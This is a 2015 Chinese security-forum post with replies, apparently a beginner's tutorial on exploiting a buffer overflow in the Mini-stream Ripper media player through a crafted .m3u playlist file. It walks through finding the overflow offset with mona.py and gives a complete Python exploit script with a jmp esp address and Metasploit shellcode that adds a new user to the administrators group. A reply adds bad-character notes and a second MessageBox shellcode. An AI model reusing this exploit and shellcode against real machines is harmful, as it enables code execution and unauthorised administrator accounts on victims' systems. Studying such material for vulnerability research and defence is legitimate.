首页
论坛
专栏
课程

[原创]Mini-streamRipper_regnow缓冲区溢出利用

2015-7-19 11:39 1658

[原创]Mini-streamRipper_regnow缓冲区溢出利用

2015-7-19 11:39
1658
0x00前记

新手一枚,刚开始接触缓冲区溢出,发现这玩意真的挺难的,幸的Bigtang不耐其烦的教我,是我有幸能进入缓冲区溢出道上。好了,本人比较渣,但笔记还是得做的,我想把我学习的过程分享出来,希望对于很多和我一样的新手有点帮助,足以。

0x01漏洞简要描述

漏洞程序为某多媒体播放软件,在打开播放文件时候,未对文件大小作检查,直接复制到内存。攻击者可以构造恶意文件覆盖EIP从而执行任意代码。


0X02检测溢出点

溢出发生在打开文件的时候,我们可以用python构造超长的文件,使得程序发生溢出。
_author__ = 'Netfairy_'
filename="C:\\Documents and Settings\\All Users\\桌面\\test.m3u" #待写入的文件名
myfile=open(filename,'w')  #以写方式打开文件
filedata="A"*30000 #待写入的数据
myfile.write(filedata)  #写入数据
myfile.close()  #关闭文件




这里演示用mona.py计算溢出点,安装好debugger和mona插件以后。在command窗口输入(30000为溢出字符串的长度)

!mona pattern_create 3000




然后打开pattern.txt。复制其中的字符串作为我们的溢出字符串。然后用这个字符串重新构造我们的恶意文件。接着打开它。异常,用debugger跟进去



发现EIP被覆盖为48306D48,输入

!mona pattern_offset 0x48306D48




如图可以看到溢出在5820+20280=26100处

0x03开始溢出

我们可以构造这样的exploit

填充字符串(26100)+jmp esp地址(4)+shellcode


我们随便查找一个jmp esp地址(注意不应有坏地址)



在metasploit找一段添加用户的shellcode

"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"\
      "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"\
      "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"\
      "\x34\xaf\x01\xc6\x45\x81\x3e\x57\x69\x6e\x45\x75\xf2\x8b\x7a"\
      "\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf"\
      "\xfc\x01\xc7\x68\x4b\x33\x6e\x01\x68\x20\x42\x72\x6f\x68\x2f"\
      "\x41\x44\x44\x68\x6f\x72\x73\x20\x68\x74\x72\x61\x74\x68\x69"\
      "\x6e\x69\x73\x68\x20\x41\x64\x6d\x68\x72\x6f\x75\x70\x68\x63"\
      "\x61\x6c\x67\x68\x74\x20\x6c\x6f\x68\x26\x20\x6e\x65\x68\x44"\
      "\x44\x20\x26\x68\x6e\x20\x2f\x41\x68\x72\x6f\x4b\x33\x68\x33"\
      "\x6e\x20\x42\x68\x42\x72\x6f\x4b\x68\x73\x65\x72\x20\x68\x65"\
      "\x74\x20\x75\x68\x2f\x63\x20\x6e\x68\x65\x78\x65\x20\x68\x63"\
      "\x6d\x64\x2e\x89\xe5\xfe\x4d\x53\x31\xc0\x50\x55\xff\xd7"


最后,完整的exploit构造是
#author www.netfairy.net#

filename="C:\\Documents and Settings\\All Users\\桌面\\test.m3u" #待写入的文件名
myfile=open(filename,'w')  #以写方式打开文件
filedata="A"*26100+'\xDB\xFC\x3A\x75'+'\x90\x90\x90\x90'+"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"\
      "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"\
      "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"\
      "\x34\xaf\x01\xc6\x45\x81\x3e\x57\x69\x6e\x45\x75\xf2\x8b\x7a"\
      "\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf"\
      "\xfc\x01\xc7\x68\x4b\x33\x6e\x01\x68\x20\x42\x72\x6f\x68\x2f"\
      "\x41\x44\x44\x68\x6f\x72\x73\x20\x68\x74\x72\x61\x74\x68\x69"\
      "\x6e\x69\x73\x68\x20\x41\x64\x6d\x68\x72\x6f\x75\x70\x68\x63"\
      "\x61\x6c\x67\x68\x74\x20\x6c\x6f\x68\x26\x20\x6e\x65\x68\x44"\
      "\x44\x20\x26\x68\x6e\x20\x2f\x41\x68\x72\x6f\x4b\x33\x68\x33"\
      "\x6e\x20\x42\x68\x42\x72\x6f\x4b\x68\x73\x65\x72\x20\x68\x65"\
      "\x74\x20\x75\x68\x2f\x63\x20\x6e\x68\x65\x78\x65\x20\x68\x63"\
      "\x6d\x64\x2e\x89\xe5\xfe\x4d\x53\x31\xc0\x50\x55\xff\xd7"
myfile.write(filedata)  #写入数据
myfile.close()  #关闭文件


值得注意的是,这里我在JMP ESP地址后面加了四个\x90.因为我发现程序在return 后esp并不指向返回地址的后面,而是指向返回地址+4的地方。大家看



然后,运行我们构造的恶意文件test.m3u



exploit执行成功,成功添加新用户。

0x04参考

http://x0day.me/index.php/archives/ftp-overflow-and-exploit-with-metasploit.html

https://www.exploit-db.com

【注】原文首发在我的博客:www.netfairy.net,欢迎兴趣相同的朋友一起学习~~~

[公告][征集寄语] 看雪20周年年会 | 感恩有你,一路同行

上传的附件:
最新回复 (5)
Netfairy 11 2015-7-19 11:44
2
0
附上mona.py三个常用命令

1定位溢出点
!mona pattern_create 3000  //产生使得程序崩溃的3000个字符(也许不止3000),复制到溢出字符串,程序会崩溃,查看此时EIP的字符串
!mona pattern_offset 0x43386F43  //EIP字符串,得出溢出点

2关于如何搜索程序内部的ppr。可以使用
!mona seh

3查找坏字符
!mona bytearray -b '\x00'  //bytearray.txt覆盖ESP开始
!mona compare -f 'bytearray.bin'  //然后查看compare.txt,搜索esp地址,直接找到坏字符
Mini-stream Ripper坏字符
\x09 \x0a

一个比较通用的MessageBoxshellcode
"\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64\x8b"
"\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e\x20\x8b"
"\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60\x8b\x6c\x24"
"\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b\x4a\x18\x8b\x5a"
"\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0"
"\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c"
"\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a"
"\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xb2"
"\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f"
"\xff\xff\xff\x89\x45\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52"
"\xe8\x8e\xff\xff\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33"
"\x32\x2e\x64\x68\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89"
"\xe6\x56\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c"
"\x24\x52\xe8\x5f\xff\xff\xff\x68\x58\x20\x20\x20\x68\x2e\x6e"
"\x65\x74\x68\x61\x69\x72\x79\x68\x6e\x65\x74\x66\x68\x77\x77"
"\x77\x2e\x31\xdb\x88\x5c\x24\x10\x89\xe3\x68\x69\x72\x79\x58"
"\x68\x65\x74\x66\x61\x68\x42\x79\x20\x4e\x31\xc9\x88\x4c\x24"
"\x0b\x89\xe1\x31\xd2\x52\x53\x51\x52\xff\xd0\x31\xc0\x50\xff"
"\x55\x08";
wljlwyq 2015-7-19 11:52
3
0
不错,学习了~~~
WoodCrack 2015-8-12 17:33
4
0
谢谢楼主分享,能不能提供一下软件,在网上下载的版本都不对
Netfairy 11 2015-8-12 17:41
5
0
可以,但是论坛zip最大支持3M,我传不了,你加我QQ79277556
a晴天安好 2016-4-26 11:18
6
0
能不能上传一下程序,或者告知一下程序该在哪下载?
游客
登录 | 注册 方可回帖
返回